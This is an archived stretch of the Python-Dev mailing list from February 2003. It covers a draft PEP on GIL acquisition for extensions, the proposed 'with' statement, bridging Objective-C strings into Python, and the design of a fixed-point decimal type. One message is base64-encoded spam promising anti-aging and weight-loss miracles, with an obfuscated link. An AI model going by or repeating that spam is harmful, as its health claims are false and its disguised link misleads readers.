Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE07FD15@au3010avexu1.global.avaya.com> > From: Tim Peters [mailto:tim_one@email.msn.com] > > <0.50001 wink>. So exactly what floating point package are you using these days? Tim Delaney From tim_one@email.msn.com Wed Feb 5 03:21:58 2003 From: tim_one@email.msn.com (Tim Peters) Date: Tue, 4 Feb 2003 22:21:58 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? In-Reply-To: <002601c2ccc4$3d7aa7a0$125ffea9@oemcomputer> Message-ID: [Raymond Hettinger] > ... > What still needs to be done? Heh. You know the drill: proceed as if it is essentially complete, and then endure complaints . As Michael noted, it needs a different name, and one chosen with the possibility that Aahz will finish his decimal library some day (no time to look up references, but it's all been discussed on Python-Dev before). From mhammond@skippinet.com.au Wed Feb 5 03:33:52 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Wed, 5 Feb 2003 14:33:52 +1100 Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions Message-ID: <006c01c2ccc7$6e6c8880$530f8490@eden> This is a multi-part message in MIME format. ------=_NextPart_000_006D_01C2CD23.A1DD0080 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi all, Following the thread of a couple of months ago, I have prepared a first draft of a PEP. There is still more detail to be filled in the "implementation" area, but I would still like feedback on all other areas. Thanks, Mark. ------=_NextPart_000_006D_01C2CD23.A1DD0080 Content-Type: text/plain; name="pep_gil.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="pep_gil.txt" PEP: xxx Title: Simple Global Interpreter Lock acquisition for extensions Version: $Revision: $ Last-Modified: $Date: $ Author: Mark Hammond Status:=20 Type:=20 Content-Type: text/plain Created: Feb-2003 Post-History: Abstract This PEP proposes a simplified API for access to the Global = Interpreter Lock (GIL) for Python extension modules. Specifically, it provides = a=20 solution for authors of complex multi-threaded extensions, where the current state of Python (i.e., the state of the GIL, or if Python is = currently using the GIL, or indeed if Python has been initialized) = is unknown. This PEP proposes a new, optional API to manage the Python thread=20 state. This API is almost certain to require a platform = implementation of Thread Local Storage (TLS), which will form an optional extension to = the existing "Python threading" implementation required for all=20 threading-enabled Python platforms. Thus, before this new API will be available on a given platform, the TLS extensions to that = platform's Python threading API must be implemented. =20 An initial implementation of this PEP will target the Windows = platform, and any platforms using a modern "pthreads" [1] implementation. Rationale The current Python interpreter state API is suitable for simple,=20 single-threaded extensions, but quickly becomes incredibly complex for non-trivial, multi-threaded extensions. =20 Currently Python provides two mechanisms for dealing with the GIL: =20 - Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros. These macros are provided primarily to allow a simple Python = extension that already owns the GIL to temporarily release it while making = an "external" (ie, non-Python), generally expensive, call. Any = existing=20 Python threads that are blocked waiting for the GIL are then free = to=20 run. =20 - PyThreadState and PyInterpreterState APIs. These API functions allow an extension/embedded application to acquire the GIL, but suffer from a serious boot-strapping problem = - they require you to know the state of the Python interpreter and of the = GIL=20 before they can be used. One particular problem is for extension=20 authors that need to deal with threads never before seen by = Python, but need to call Python from this thread. It is very difficult, = delicate=20 and error prone to author an extension where these "new" threads = always=20 know the exact state of the GIL, and therefore can reliably = interact=20 with this API. =20 For these reasons, the question of how such extensions should interact with Python is quickly becoming a FAQ. The main impetus for this PEP, a thread on python-dev [2], immediately identified the following projects with this exact issue: - The win32all extensions. - Boost - ctypes - Python-GTK bindings - Uno Currently, there is no reasonable, portable solution to this = problem, forcing each extension author to implement their own hand-rolled=20 version. Further, the problem is complex, meaning many=20 implementations are likely to be incorrect, leading to a variety of=20 problems that will often manifest simply as "Python has hung." =20 While the biggest problem in the existing thread-state API is the = lack of the ability to query the current state of the lock, it is felt = that a more complete, simplified solution should be offered to extension=20 authors. Such a solution should encourage authors to provide=20 error-free, complex extension modules that take full advantage of=20 Python's threading mechanisms. Limitations and Exclusions This proposal identifies a solution for extension authors with = complex multi-threaded requirements, but that only require a single=20 "PyInterpeterState". There is no attempt to cater for extensions that require multiple interpreter states. As at time of writing, no extension has been identified that requires multiple = PyInterpreterStates, and indeed it is not clear if that facility works correctly in = Python=20 itself. =20 It is intended that this API be all that is necessary to acquire the Python GIL. Apart from the existing, standard = Py_BEGIN_ALLOW_THREADS=20 and Py_END_ALLOW_THREADS macros, it is assumed that no additional = thread state API functions will be used by the extension. Extensions with such complicated requirements are free to continue to use the = existing thread state API. =20 Proposal This proposal recommends a new, optional API be added to Python to simplify the management of the GIL. =20 The intent is that an extension author be able to use a small,=20 well-defined "prologue dance", at any time and on any thread, and this dance will ensure Python is ready to be used on that = thread. After the extension has finished with Python, it must also perform = an "epilogue dance" to release any resources previously acquired. = Ideally, these dances will be able to be expressed in a single line. Specifically, the following new APIs are proposed: =20 /* Ensure that the current thread is ready to call the Python C API, regardless of the current state of Python, or of its thread lock. This may be called as many times as desired by a thread, so long as each call is matched with a call to PyAutoThreadState_Release() =20 When the function returns, the current thread will hold the GIL. = Thus, the GIL is held by the thread until PyAutoThreadState_Release() is = called. (Note that as happens now in Python, calling a Python API function = may=20 indeed cause a thread-switch and therefore a GIL ownership change. =20 However, Python gurantees that when the API function returns, the = GIL will again be owned by the thread making the call) Failure is a fatal error. */ void PyAutoThreadState_Ensure(void); =20 /* Release any resources previously acquired. After this call, = Python's state will again be indeterminate, so the API can not be used. =20 Every call to PyAutoThreadState_Ensure must be matched by a call to PyAutoThreadState_Release on the same thread. */ void PyAutoThreadState_Release(void); =20 As this PEP develops, it may become obvious that certain = optimizations are possible over this simplified API, assuming extension authors = are able=20 to provide some context. These will be described and implemented = during the development of this PEP. Design and Implementation The general operation of PyAutoThreadState_Ensure() will be: - Ensure Python is initialized. - If the current thread does not own the GIL, acquire it. - Increment a counter for how many calls to PyAutoThreadState_Ensure have been made on the current thread. - return =20 The general operation of PyAutoThreadState_Release() will be: - assert our thread currently holds the lock. - Decrement the PyAutoThreadState_Ensure counter for the thread. - If counter =3D=3D 0: - release the lock. - release any additional resources consumed. - return The implementation of this functionality will require some = additional functionality from Python's hosting platform. These requirements = are: =20 [tbd] References [1] pthreads??? [2] = http://mail.python.org/pipermail/python-dev/2002-December/031424.html [3]=20 Copyright This document has been placed in the public domain. =0C Local Variables: mode: indented-text indent-tabs-mode: nil sentence-end-double-space: t fill-column: 70 End: ------=_NextPart_000_006D_01C2CD23.A1DD0080-- From greg@cosc.canterbury.ac.nz Wed Feb 5 03:37:04 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 05 Feb 2003 16:37:04 +1300 (NZDT) Subject: [Python-Dev] With statement In-Reply-To: <3E3FF36A.2897.6EF9DD6@localhost> Message-ID: <200302050337.h153b4v12977@oma.cosc.canterbury.ac.nz> > with lock(my_lock): > # protected code But if my_lock is already a lock object, with appropriate enter and leave methods, what would the lock() function do? If the answer is def lock(x): return x then I'd say that I don't like the idea of a do-nothing function whose purpose is only to make the code look pretty. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From python@rcn.com Wed Feb 5 03:43:11 2003 From: python@rcn.com (Raymond Hettinger) Date: Tue, 4 Feb 2003 22:43:11 -0500 Subject: [Python-Dev] Why did Fredrik leave the party? References: Message-ID: <004701c2ccc8$b56adc40$125ffea9@oemcomputer> Okay, consider me volunteered. David, if you want to team up, please send a private email so we won't eat-up Tim's time just discussing it. Raymond Hettinger ----- Original Message ----- From: "Tim Peters" To: "Raymond Hettinger" Cc: Sent: Tuesday, February 04, 2003 10:21 PM Subject: RE: [Python-Dev] Why did Fredrik leave the party? > [Raymond Hettinger] > > ... > > What still needs to be done? > > Heh. You know the drill: proceed as if it is essentially complete, and > then endure complaints . As Michael noted, it needs a different name, > and one chosen with the possibility that Aahz will finish his decimal > library some day (no time to look up references, but it's all been discussed > on Python-Dev before). > > > _______________________________________________ > Python-Dev mailing list > Python-Dev@python.org > http://mail.python.org/mailman/listinfo/python-dev ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# From skip@pobox.com Wed Feb 5 03:53:49 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 4 Feb 2003 21:53:49 -0600 Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions In-Reply-To: <006c01c2ccc7$6e6c8880$530f8490@eden> References: <006c01c2ccc7$6e6c8880$530f8490@eden> Message-ID: <15936.35533.128022.139543@montanaro.dyndns.org> Mark> Every call to PyAutoThreadState_Ensure must be matched by a call Mark> to PyAutoThreadState_Release on the same thread. This suggests to me that it would be nice to have a try/finally type of construct available for C programmers, probably some ugly CPP macros involving gotos. I think it would simplify the call matching you indicated (making deadlock avoidance easier) and make DECREF cleanup a bit nicer as well. Just a thought... Skip From exarkun@intarweb.us Wed Feb 5 04:10:41 2003 From: exarkun@intarweb.us (Jp Calderone) Date: Tue, 4 Feb 2003 23:10:41 -0500 Subject: [Python-Dev] With statement In-Reply-To: <3E3FF36A.2897.6EF9DD6@localhost> References: <16E1010E4581B049ABC51D4975CEDB880113D8D5@UKDCX001.uk.int.atosorigin.com> <3E3FF36A.2897.6EF9DD6@localhost> Message-ID: <20030205041041.GA21877@meson.dyndns.org> --KsGdsel6WgEHnImy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Feb 04, 2003 at 05:07:54PM -0000, Duncan Booth wrote: > On 4 Feb 2003 at 16:45, Moore, Paul wrote: > > My actual preference is for a lock object with enter =3D acquire and > > leave =3D release. Then, the idiom is > >=20 > > with my_lock: > > # protected code > >=20 > > This requires a separate enter hook. >=20 > As opposed to: >=20 > with lock(my_lock): > # protected code >=20 > which wouldn't. >=20 > I prefer the second, but I'm not entirely sure why. I think,=20 > maybe, it's because the parentheses in the second one tell me=20 > we are actually doing something, whereas the first one looks=20 > like a variable access which is the one thing that can't=20 > actually have side effects. Consider __nonzero__. It is an insidious implementation that mutates the object, but it isn't impossible. In spite of this, I think I personally prefer the second as well. Jp --=20 "I quite agree with you," said the Duchess; "and the moral of that is -- Be what you would seem to be' -- or, if you'd like it put more simply -- Never imagine yourself not to be otherwise than what it might appear to others that what you were or might have been was not=20 otherwise than what you had been would have appeared to them to be otherwise.'" -- Lewis Carrol, "Alice in Wonderland" --=20 up 51 days, 7:50, 6 users, load average: 0.26, 0.35, 0.29 --KsGdsel6WgEHnImy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE+QI7BedcO2BJA+4YRAorzAKDGHyRkI6MClhrnuTeY+0zVRWmAbACgmMeG 3jWp7L/f0x+A6MwFbgSm8JA= =PHSM -----END PGP SIGNATURE----- --KsGdsel6WgEHnImy-- From bac@OCF.Berkeley.EDU Wed Feb 5 04:50:35 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Tue, 4 Feb 2003 20:50:35 -0800 (PST) Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions In-Reply-To: <006c01c2ccc7$6e6c8880$530f8490@eden> References: <006c01c2ccc7$6e6c8880$530f8490@eden> Message-ID: [Mark Hammond] > Hi all, > Following the thread of a couple of months ago, I have prepared a first > draft of a PEP. There is still more detail to be filled in the > "implementation" area, but I would still like feedback on all other areas. > Overall I think it is a good PEP (this is coming from someone with hardly any extension work under his belt and *no* threading work in C under his belt). The only point I would make is that in the discussion of Py_BEGIN_ALLOW_THREADS does not mention any specific drawbacks about it. Obviously you can draw some since you state they are macros, but if you do not pick up on that you might not see what so is bad about other than you say it is for anything complex. Might just quickly say that it can't tell whether the interpreter has started or not just like PyThreadState. -Brett From bbum@codefab.com Wed Feb 5 04:55:42 2003 From: bbum@codefab.com (Bill Bumgarner) Date: Tue, 4 Feb 2003 23:55:42 -0500 Subject: [Python-Dev] Bridging strings from Python to other languages In-Reply-To: <20030205031302.2423.84706.Mailman@mail.python.org> Message-ID: <14873590-38C6-11D7-BAFA-000393877AE4@codefab.com> [This is a continuation of the thread that Just mentions below -- "NSString & mutability". I finally had a chance to write enough code to figure out where the walls were that I kept bloodying my head against. I believe I also came up with a more constructive way to think about this whole problem. More below -- the end of the 'bridging strings' section contains a series of what I believe are issues with the current Python implementation that should/may/could be addressed in a future version] On Tuesday, Feb 4, 2003, at 22:13 US/Eastern, Just wrote on python-dev: > (The use case is this. The PyObjC project marries Objective-C with > Python. This is cool as it gives us direct access to almost all of > Cocoa, the native OSX GUI interface. However, Cocoa defines its own > string type and for reasons that are waaay beyond the scope of this > post > (check the archives of the pyobjc-dev list if you're really really > interested; see a recent thread called "NSString & mutability") it > appears a bad idea to _convert_ these strings to Python unicode > strings. > So we need to wrap them. Yet they should work as much like unicode > strings as possible...) Let me rephrase the problem in slightly different terms. This will be long winded-- skip down to the 'bridging strings' section if you don't want to go through the initial discussion of the challenges of bridging two runtimes... In creating a bridge between Python and other languages-- in this case, Objective-C-- the general goal is to provide seamless connectivity between the two runtime environments. That is, you want to have a proxy to objects or structures found in the 'alien' runtime available in the 'native' runtime in a fashion that makes the proxy convenient to use. Generally, this means that the proxy should act as much like the 'native' runtime up to the point where it starts to obfuscate the behavior of the 'alien' runtime. While a decent bridging and proxying mechanism can make "crossing the bridge" easy to do, one can never avoid the fact that there really is a bridge and on the other side there really is an 'alien' runtime. Now-- there are a number of different ways to proxy objects/structures between the two runtimes: - pure proxy: the object/structure to be bridged is represented by a proxy that handles all requests for information or invocation of functions/methods by converting the request/invocation into a form that can be understood on the other side of the bridge. Example -- the following creates a python native proxy to the alien Objective-C NSMutableArray instance (ignore that it really creates an NSCFArray-- that is an internal-to-Foundation implementation detail that is irrelevant). The expression 'a.count()' actually causes the 'count' Objective-C method to be invoked through the proxy a: >>> from Foundation import * >>> a = NSMutableArray.array() >>> type(a) >>> a.count() 0 >>> len(a) 0 The len(a) is just a demonstration of how far the proxying can go by defining the appropriate internal(?) attributes on the proxy. - pure conversion: the object/structure to be bridged is converted to the native type as it crosses the bridge. Example -- the NSString is currently bridged to the Python String class such that string instances are converted to their native types as they cross the bridge [at least, this is the case in CVS -- I now have a proxy class that can wrap a Python PyString/PyUnicode instance and present it is a standard NSString instance on the ObjC side. Avoids lots of unnecessary data copying when going from Python->Objective-C, but it needs a bunch of cleanup before I commit.]: In the following, I create a new Objective-C NSString instance and assign it to 's'. What results is a copy of the contents of the NSString instnace shoved into a normal Python string. >>> s = NSString.stringWithString_("Foobar") >>> type(s) - mixed conversion/proxy: this is a suboptimal case. It generally converts to a native type in one direction, but potentially not in the other or not fully. Example -- NSNumber is currently in this category. It should change eventually, but there are issues to deal with: >>> a = NSArray.arrayWithObject_(1) >>> a[0] >>> a[0] + 1 2 --- One of the key challenges is that proxying effectively causes two references to any given object to exist; the native object reference and the 'alien' reference through the proxy. Care must be taken to ensure that a single reference on either side of the bridge is enough to preserve both components of the hunk of data while also ensuring that the existence of a proxy without references does not prevent the item from being collected [may sound confusing: consider the situation where a Python class is subclassed in the alien environment or vice-versa -- you effectively end up with instances that have part of their implementation in one runtime and the other part in the other runtime. It can lead to issues.]. In general, these kinds of issues can be worked through by leveraging mechanisms such as weak references. By providing a callback on the finalization of an object, it is possible to ensure that the alien-to-python component of the instance is destroyed, as well. A final challenge is that sometimes an object's type or contents are completely irrelevant to a piece of code. It is the object reference itself that is meaningful. In these situations, if an object is passed across the bridge and back, what should come back really should be what went across in the first place-- if not, the contents may have been preserved, but the object's original identity has been lost. Sometimes an object is just an object. --- Strings provide a particular set of challenges in that no two runtime environments present exactly the same set of features in their string handling API, yet every runtime has some kind of a string API and, invariably, that API is very much at the core of the runtime. The addition of Unicode to every string API over the last decade+ has not made things any simpler. In python, strings are immutable and can encapsulate non-unicode data. A separate unicode-- also immutable-- type is provided to encapsulate unicode data, but the standard string type can also encapsulate unicode data in certain circumstances [at least, it appears that PyString will happily consume and represent UTF8]. In Objective-C [and other languages], there is a single String class that can encapsulate both ASCII and unicode data in many different encodings. Furthermore, there is a subclass of String that provides additional mutability API -- an instance of the mutable string class can have its contents changed by the developer while the identity of the object remains the same (unlike python where appending "b" to "a" results in a new string "ab"). To further complicate matters, most typed languages support the concept of 'upcasting' -- that is, of casting a particular instance to actually be an instance of a superclass. For Objective-C, it can mean that a method that is declared as returning an immutable string or array actually returns a mutable string or array instance -- as long as the developer pays attention to the compiler warnings and doesn't do any stupid casting of their own, everything is fine. Java offers similar casting "features". - bridging strings - So, how to bridge strings in such an environment? In all cases, we can [fortunately] assume that strings pass across the bridge in one of a few choke points in the code -- that there is always a location to add a little bit of logic with which to help bridge the string [or any other random object]. The goal is to bridge strings in a fashion such that (not really in order of importance): (1) only one hunk of memory is used to contain the data within the string (2) conversion is kept to a minimum, if present at all, because strings will be passed back-and-forth across the bridge very frequently (3) identity is maintained; pass a string with id() 7570720 from Python into the alien runtime and subsequently from the alien runtime back into python and the same string instance with id() 7570720 really should come back (4) 'alien' string specific API can still be used; the Objective-C NSString provides a very rich API, including localization features that are not available in pure python. For Python->Objective-C, bridging strings has proven to be fairly easy. (1), (2), and (4) are quite straightforward. (3) is not done yet. For Objective-C->Python, bridging strings is not so easy. The difficulty is compounded by certain features of the Python string/unicode APIs. (1) is pretty easy -- the challenge is to figure out which API to call on the Python side such that the resulting Python object does not copy and re-encode the data. If that is unavoidable, the cost of encoding or conversion (2) should be minimized [hopefully with a cache so that cost of conversion is paid once, then never again for immutable string instances]. There is also the ongoing challenge of determining when to use the PyString vs. PyUnicode APIs; it seems that unicode objects are not welcome everywhere that string objects are? (4) is actually quite easy and has been available for some time through the use of unbound methods. However, the current implementation in CVS will always cause the python string to be converted to an NSString, the method invoked, and then the result-- if any and if a string-- is converted back to a python string. (3) is not so easy-- at least, not from what I have determined so far. Most of the issues seem to be due to limitations in Python (which is really just another way of saying "I don't know enough to approach this problem from the right direction"): - can't use weakref because one can't have a weak reference to a string or unicode object. This means that a callback when a string ref is finalized on the python side is not possible. It also means that creating a hash between ObjC string instances and Python string instances can't be done without using strong references, thereby creating the potential for leaking memory. - can't subclass string (but can unicode) to provide a class that acts exactly like a regular string while containing a reference to the foreign string object. There doesn't appear to be anywhere to hide a hunk of data in the string instance, either. - can't use the character buffer APIs because a character buffer cannot be used consistently throughout the python APIs in the same places as a string. Using str() to turn a char buffer into a string violates (1) [and doesn't make much sense anyway]. End result -- it is very difficult to preserve the association between an alien string instance and a PyString instance consistently. Even if PyString instances provide very thorough and consistent hashing behavior where two strings with the same contents always hash the same, the same cannot be said of all alien environments. Even when it is true, there are cases where the developer may be relying on the identity of the object to not change outside of their control. Mutable strings obviously present issues of their own, but they are not particularly relevant to discussion on python-dev outside of how future development might make the support of such common idiosyncrasies a bit more straightforward. Ideally, one could have an object on the python side that looks/feels/smells like a string instance, but whose contents may change. This creates any number of exciting problems. To further compound problems, anything that is declared as returning an NSString *may* return an NSMutableString at whim. It doesn't happen often, but when it does, if the handling of mutable vs. immutable strings is too radically different, it'll cause code to blow up in highly unexpected and very difficult to debug ways. Rambling on.... b.bum From ping@zesty.ca Wed Feb 5 06:54:57 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Wed, 5 Feb 2003 00:54:57 -0600 (CST) Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: <004701c2ccc8$b56adc40$125ffea9@oemcomputer> Message-ID: I know no one asked for my opinion, but if you will indulge me for a moment -- i think the most important concern is to keep the type simple, minimal, and above all *immutable*. Thus: 1. Prevent setting of attributes. 2. Turn 'precision' into a read-only attribute. To set precision, just make a new number with decimal(x, new_precision). 3. But don't call it 'precision'. The word 'precision' usually means either the total number of significant digits, or the least significant distinguishable unit. What we're talking about (number of digits after the decimal point) is neither. I believe the correct term is 'scale' (from SQL). See also http://www2.hursley.ibm.com/decimal/. 4. Get rid of copy(); it's unnecessary if you're immutable. 5. Get rid of 'frac()'. I don't see how it would be needed very often, and it's easy to do x - long(x). That leaves a simple immutable numeric type with no public methods and just one attribute -- hence the least possible burden on a future version of Python, if this type eventually becomes built-in. (And the least possible burden is a good goal in general anyway.) Also: 6. No global mutable state. That means no global settings for default precision or rounding mode. Either pick a standard precision or always require the second constructor argument. Rounding mode is a tougher problem; i see two solutions: (a) Eliminate variable rounding; always round half to even. (b) Set rounding function as an attribute of the number. Operators use the rounding function of the first operand. This lets modules control module-local rounding behaviour if they really want to do so, without interfering with the rest of the program. This may sound like a harsh requirement, but i am convinced that global mutable settings will cause nightmares for people who try to make their modules and programs interoperate. * * * I know the name is a relatively small issue, but my vote would be for the type to be called either "fixpoint" or "decimal". The type name should definitely be lowercase for something as basic as a number, and also lowercase if it's to be a candidate for a future built-in. Arguments for "fixpoint": F1. Shorter than "fixedpoint". It's okay to drop "-ed", since "floating point" -> "float" is accepted. F2. "fix" alone is too unspecific. F3. The important difference between "fixpoint" and "float" is that the precision doesn't change. F4. Already the name of some fixed-point number packages. Arguments for "decimal": D1. Simple, short, friendly. D2. The important difference between "decimal" and "float" is that the fractional part is decimal. D3. Already the name of a SQL standard data type. I think i am currently leaning toward "decimal", because D2 holds a few microlitres more water than F3 for me. -- ?!ng From andrea" ------=_NextPart_000_00D6_16E36C1E.E3312C73 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 KiBSZWR1Y2UgdGhlIGFtb3VudCBvZiBzbGVlcCB5b3UgbmVlZA0KKiBDYXVz ZSB3b3VuZHMgdG8gaGVhbCBmYXN0ZXINCiogTG9zZSB3ZWlnaHQgd2hpbGUg eW91ciBzbGVlcGluZw0KKiBCZWNvbWUgbGVzcyB3aW5kZWQgd2hlbiBleGNl cnNpemluZw0KKiBQdXQgY29sb3IgYmFjayBpbiBncmV5IGhhaXINCiogR3Jv dyBoYWlyIGJhY2sgd2hlcmUgaXQgaGFkIG9uY2UgZmFsbGVuIG91dA0KKiBU aWdodGVuIHNraW4NCiogU3RyZW5ndGhlbiBib25lcw0KKiBCb2R5IGJ1aWxk ZXJzIC0gdXNlIHRoaXMgdG8gYnVpbGQgeW91ciBtdXNjbGVzIHF1aWNrZXIN Ci4uLi4uLi4uLi5UaGUgTGlzdCB0cnVseSBnb2VzIG9uIGFuZCBvbi4uLi4u Li4uLi4NCg0KQXMgc2VlbiBvbiBOQkMsIENCUywgQ05OLCBhbmQgT3ByYWgh IFRoZSBoZWFsdGggZGlzY292ZXJ5IA0KdGhhdCBhY3R1YWxseSByZXZlcnNl cyBhZ2luZyBzeW1wdG9tcyB3aXRob3V0IGRpZXRpbmcgb3IgZXhlcmNpc2Uh IA0KVGhpcyBQUk9WRU4gZGlzY292ZXJ5IGhhcyBiZWVuIHJlcG9ydGVkIG9u IGJ5IHRoZSANCk5ldyBFbmdsYW5kIEpvdXJuYWwgb2YgTWVkaWNpbmUgLSBk b24ndCBqdXN0IHRha2Ugb3VyIHdvcmQgZm9yIGl0Lg0KDQpJbiBmYWN0IHdl J2QgbGlrZSB5b3UgdG8gcmVjZWl2ZSBhIEYuUi5FLkUgdGhpcnR5IGRheSBz dXBwbHk7IGxvb2sgYW5kIGZlZWwgDQp5b3VuZ2VyLCBsb3NlIHdlaWdodCwg cmVkdWNlIHNsZWVwLCBUaGUgbGlzdCBnb2VzIG9uLCB3ZSANCmVuY291cmFn ZSB5b3UgdG8gYXQgbGVhc3QgdGFrZSBhIGxvb2sgYXQgdGhlIGluZm9ybWF0 aW9uIGFzIHRvDQp3aGF0IGVsc2UgaXQgY2FuIGRvDQoNCmh0dHA6Ly9oaWRk ZW4uY29tLm1zLXNjcmlwdC42NTE2ODUuOTg3MzY2MS0wMzMyMTk4NzYzNTEz NTMxODQxLmVuY29kZS4zMzM3MTgxNTA3NDYwNTU2NC5lbHNlLjE0MDU1ODYz NzIwMjU4OTQ2MzAyMTU1MDYzNzMyLm1zL3d3dy5ncm93eW91bmcuY29tLz9s aWZlcw0KDQoNCjc3OTB5RmFpNy01OTJCd3BtNzA3N3dNbXQ0LTgzM2tBWnYz MjU1bDM2 From whisper@oz.net Wed Feb 5 08:46:42 2003 From: whisper@oz.net (David LeBlanc) Date: Wed, 5 Feb 2003 00:46:42 -0800 Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: > -----Original Message----- > From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On > Behalf Of Ka-Ping Yee > Sent: Tuesday, February 04, 2003 22:55 > To: Raymond Hettinger > Cc: David LeBlanc; python-dev@python.org > Subject: [Python-Dev] Fixed-point numeric type > > > I know no one asked for my opinion, but if you will indulge me > for a moment -- i think the most important concern is to keep the > type simple, minimal, and above all *immutable*. > > Thus: > > 1. Prevent setting of attributes. > > 2. Turn 'precision' into a read-only attribute. To set precision, > just make a new number with decimal(x, new_precision). Hmmm... and what shall the precision of 4.5 + 2.331 be? I see this as being some sort of output attribute and not an inherent property of the stored value. > 3. But don't call it 'precision'. The word 'precision' usually > means either the total number of significant digits, or the > least significant distinguishable unit. What we're talking > about (number of digits after the decimal point) is neither. > I believe the correct term is 'scale' (from SQL). See also > http://www2.hursley.ibm.com/decimal/. I would think that calling it what most mathematicians would call it would be most appropriate. > 4. Get rid of copy(); it's unnecessary if you're immutable. Are floats and ints immutable? This should follow the standard for existing numeric types IMO. > 5. Get rid of 'frac()'. I don't see how it would be needed > very often, and it's easy to do x - long(x). > That leaves a simple immutable numeric type with no public methods > and just one attribute -- hence the least possible burden on a > future version of Python, if this type eventually becomes built-in. > (And the least possible burden is a good goal in general anyway.) No public methods? No math operators? Is this a fixed point numeric constant? > Also: > > 6. No global mutable state. That means no global settings for > default precision or rounding mode. Either pick a standard > precision or always require the second constructor argument. > Rounding mode is a tougher problem; i see two solutions: Disagree. there is a "natural" precision that most people would tend to use and I think it's 2 places to the right of the decimal point. Rounding varies according to need and, again, I think there's a "natural" preference, although in this case I don't know what it would be. > (a) Eliminate variable rounding; always round half to even. I suspect financial people would not like this. See the discussion of banker's rounding in the doc. Ideally, as is already built, rounding should be both defaulted and overridable by a derivative class, for example "class money (fixedpoint):" > (b) Set rounding function as an attribute of the number. > Operators use the rounding function of the first operand. > This lets modules control module-local rounding behaviour > if they really want to do so, without interfering with > the rest of the program. I thend to think that I want rounding to be a display function and not something that effects the stored value. Otherwise you propegate rounding loss. > This may sound like a harsh requirement, but i am convinced that > global mutable settings will cause nightmares for people who try > to make their modules and programs interoperate. How? > * * * > > I know the name is a relatively small issue, but my vote would be for > the type to be called either "fixpoint" or "decimal". The type name > should definitely be lowercase for something as basic as a number, > and also lowercase if it's to be a candidate for a future built-in. > > Arguments for "fixpoint": > > F1. Shorter than "fixedpoint". It's okay to drop "-ed", since > "floating point" -> "float" is accepted. > > F2. "fix" alone is too unspecific. > > F3. The important difference between "fixpoint" and "float" is that > the precision doesn't change. > > F4. Already the name of some fixed-point number packages. I like FixedPoint, Fixedpoint or fixedpoint - whatever the capitalization of other Python types is. > Arguments for "decimal": > > D1. Simple, short, friendly. > > D2. The important difference between "decimal" and "float" is that > the fractional part is decimal. > > D3. Already the name of a SQL standard data type. I suspect decimal might impact Aahz' decimal.py. I have downloaded but not looked at it yet; but perhaps it's worthy of inclusion into Tim's package. What does decimal imply to a user that might not be true in fixedpoint? I resist the idea of naming it to suggest any relation with an SQL datatype unless it precisely mimics that datatype and there's a good reason for mimicing it in the first place! > I think i am currently leaning toward "decimal", because D2 holds > a few microlitres more water than F3 for me. I am currently leaning towards running and hiding behind Tim ;) > > -- ?!ng Some rather more prosaic questions: 1. Should it work on versions of Python before 2.3? 2. Are there more unit tests required that need to be added to the Python test suite? 3. What is the procedure for getting it into the distro, both bits and docs? 4. Is the class complete? Can it be pickled? Does it play well with floats and ints? Does it have a to/from string method? 5. Does it have an impact on other classes? 6. Does it have any impact on string format specifiers? (It should IMO.) 7. Does Tim have enough time to look over our shoulders, channel Guido and get this done right without taking up too much of his time? I think the idea should be to get the package into the distro and not start a rethink/redesign at this stage - otherwise it won't appear until Python 3000 ;). gee-this-was-supposed-to-be-easily-yours Dave LeBlanc Seattle, WA USA From ping@zesty.ca Wed Feb 5 08:59:11 2003 From: ping@zesty.ca (Ka-Ping Yee) Date: Wed, 5 Feb 2003 02:59:11 -0600 (CST) Subject: [Python-Dev] Fixed-point numeric type In-Reply-To: Message-ID: On Wed, 5 Feb 2003, David LeBlanc wrote: > Hmmm... and what shall the precision of 4.5 + 2.331 be? I see this as being > some sort of output attribute and not an inherent property of the stored > value. Already covered -- read the documentation at http://fixedpoint.sf.net/. I'm starting with what's specified there and proposing adjustments. > Are floats and ints immutable? Yes, and it's essential. > No public methods? No math operators? Is this a fixed point numeric > constant? No need for methods. Other numeric types don't have them. (Well, complex has .conjugate(), but that's very complex-specific.) > > 6. No global mutable state. That means no global settings for > > default precision or rounding mode. Either pick a standard > > precision or always require the second constructor argument. > > Rounding mode is a tougher problem; i see two solutions: > > Disagree. there is a "natural" precision that most people would tend to use > and I think it's 2 places to the right of the decimal point. I didn't contradict your suggestion. A default of 2 places is fine. But there must be a fixed default; no global mutable setting. > Rounding varies > according to need and, again, I think there's a "natural" preference, > although in this case I don't know what it would be. I believe the natural preference is round-half-to-even, also known as "banker's rounding", which is the current default in FixedPoint. > I thend to think that I want rounding to be a display function and not > something that effects the stored value. Otherwise you propegate rounding > loss. There must be some limit to storage precision. If you want to avoid propagating loss, use high precision, then round when you're done. > > This may sound like a harsh requirement, but i am convinced that > > global mutable settings will cause nightmares for people who try > > to make their modules and programs interoperate. > > How? Suppose two modules use different default precisions or rounding modes, and they set this by changing a global flag. If you use both modules, one will break, and it will be practically impossible to fix. > I think the idea should be to get the package into the distro and not start > a rethink/redesign at this stage - otherwise it won't appear until Python > 